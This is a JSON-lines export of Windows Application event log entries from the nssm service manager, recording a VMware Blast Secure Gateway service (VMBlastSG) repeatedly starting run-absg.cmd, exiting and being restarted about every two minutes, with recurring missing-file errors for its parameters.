{"@timestamp":1646700480273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158506}}
{"@timestamp":1646700480274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158507}}
{"@timestamp":1646700608786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158508}}
{"@timestamp":1646700608787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158509}}
{"@timestamp":1646700608787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154100","0"]}}},"module":"Application","provider":"nssm","sequence":158510}}
{"@timestamp":1646700608788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154100","154100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158511}}
{"@timestamp":1646700608806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158512}}
{"@timestamp":1646700608807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158513}}
{"@timestamp":1646700608807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158514}}
{"@timestamp":1646700608808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158515}}
{"@timestamp":1646700737322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158516}}
{"@timestamp":1646700737323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158517}}
{"@timestamp":1646700737323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152824","0"]}}},"module":"Application","provider":"nssm","sequence":158518}}
{"@timestamp":1646700737324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152824","152824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158519}}
{"@timestamp":1646700737341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158520}}
{"@timestamp":1646700737341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158521}}
{"@timestamp":1646700737342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158522}}
{"@timestamp":1646700737343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158523}}
{"@timestamp":1646700865836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158524}}
{"@timestamp":1646700865837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158525}}
{"@timestamp":1646700865837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155432","0"]}}},"module":"Application","provider":"nssm","sequence":158526}}
{"@timestamp":1646700865839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155432","155432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158527}}
{"@timestamp":1646700865859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158528}}
{"@timestamp":1646700865860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158529}}
{"@timestamp":1646700865860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158530}}
{"@timestamp":1646700865861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158531}}
{"@timestamp":1646700994364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158532}}
{"@timestamp":1646700994366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158533}}
{"@timestamp":1646700994366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147088","0"]}}},"module":"Application","provider":"nssm","sequence":158534}}
{"@timestamp":1646700994366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147088","147088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158535}}
{"@timestamp":1646700994393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158536}}
{"@timestamp":1646700994394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158537}}
{"@timestamp":1646700994394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158538}}
{"@timestamp":1646700994395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158539}}
{"@timestamp":1646701122898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158540}}
{"@timestamp":1646701122899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158541}}
{"@timestamp":1646701122900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153136","0"]}}},"module":"Application","provider":"nssm","sequence":158542}}
{"@timestamp":1646701122902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153136","153136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158543}}
{"@timestamp":1646701122928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158544}}
{"@timestamp":1646701122929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158545}}
{"@timestamp":1646701122929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158546}}
{"@timestamp":1646701122930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158547}}
{"@timestamp":1646701251479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158548}}
{"@timestamp":1646701251480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158549}}
{"@timestamp":1646701251480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147060","0"]}}},"module":"Application","provider":"nssm","sequence":158550}}
{"@timestamp":1646701251481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147060","147060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158551}}
{"@timestamp":1646701251500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158552}}
{"@timestamp":1646701251500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158553}}
{"@timestamp":1646701251501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158554}}
{"@timestamp":1646701251502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158555}}
{"@timestamp":1646701380000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158556}}
{"@timestamp":1646701380001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158557}}
{"@timestamp":1646701380001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153916","0"]}}},"module":"Application","provider":"nssm","sequence":158558}}
{"@timestamp":1646701380002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153916","153916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158559}}
{"@timestamp":1646701380021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158560}}
{"@timestamp":1646701380022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158561}}
{"@timestamp":1646701380022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158562}}
{"@timestamp":1646701380023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158563}}
{"@timestamp":1646701508805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158564}}
{"@timestamp":1646701508805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158565}}
{"@timestamp":1646701508806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153680","0"]}}},"module":"Application","provider":"nssm","sequence":158566}}
{"@timestamp":1646701508806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153680","153680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158567}}
{"@timestamp":1646701508824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155416","0"]}}},"module":"Application","provider":"nssm","sequence":158568}}
{"@timestamp":1646701508824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155416","153680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158569}}
{"@timestamp":1646701508839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158570}}
{"@timestamp":1646701508840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158571}}
{"@timestamp":1646701508840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158572}}
{"@timestamp":1646701508841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158573}}
{"@timestamp":1646701637467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158574}}
{"@timestamp":1646701637467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158575}}
{"@timestamp":1646701637468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155292","0"]}}},"module":"Application","provider":"nssm","sequence":158576}}
{"@timestamp":1646701637469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155292","155292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158577}}
{"@timestamp":1646701637486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158578}}
{"@timestamp":1646701637487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158579}}
{"@timestamp":1646701637487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158580}}
{"@timestamp":1646701637488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158581}}
{"@timestamp":1646701765981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158582}}
{"@timestamp":1646701765982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158583}}
{"@timestamp":1646701765983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156080","0"]}}},"module":"Application","provider":"nssm","sequence":158584}}
{"@timestamp":1646701765983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156080","156080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158585}}
{"@timestamp":1646701766001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158586}}
{"@timestamp":1646701766002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158587}}
{"@timestamp":1646701766003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158588}}
{"@timestamp":1646701766003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158589}}
{"@timestamp":1646701894542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158590}}
{"@timestamp":1646701894543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158591}}
{"@timestamp":1646701894544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156648","0"]}}},"module":"Application","provider":"nssm","sequence":158592}}
{"@timestamp":1646701894544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156648","156648","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158593}}
{"@timestamp":1646701894567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158594}}
{"@timestamp":1646701894568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158595}}
{"@timestamp":1646701894568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158596}}
{"@timestamp":1646701894569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158597}}
{"@timestamp":1646702023084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158598}}
{"@timestamp":1646702023085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158599}}
{"@timestamp":1646702023085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156144","0"]}}},"module":"Application","provider":"nssm","sequence":158600}}
{"@timestamp":1646702023085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156144","156144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158601}}
{"@timestamp":1646702023104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158602}}
{"@timestamp":1646702023105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158603}}
{"@timestamp":1646702023105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158604}}
{"@timestamp":1646702023106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158605}}
{"@timestamp":1646702151762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158606}}
{"@timestamp":1646702151764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158607}}
{"@timestamp":1646702151764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155628","0"]}}},"module":"Application","provider":"nssm","sequence":158608}}
{"@timestamp":1646702151765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155628","155628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158609}}
{"@timestamp":1646702151783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155316","0"]}}},"module":"Application","provider":"nssm","sequence":158610}}
{"@timestamp":1646702151785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155316","155628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158611}}
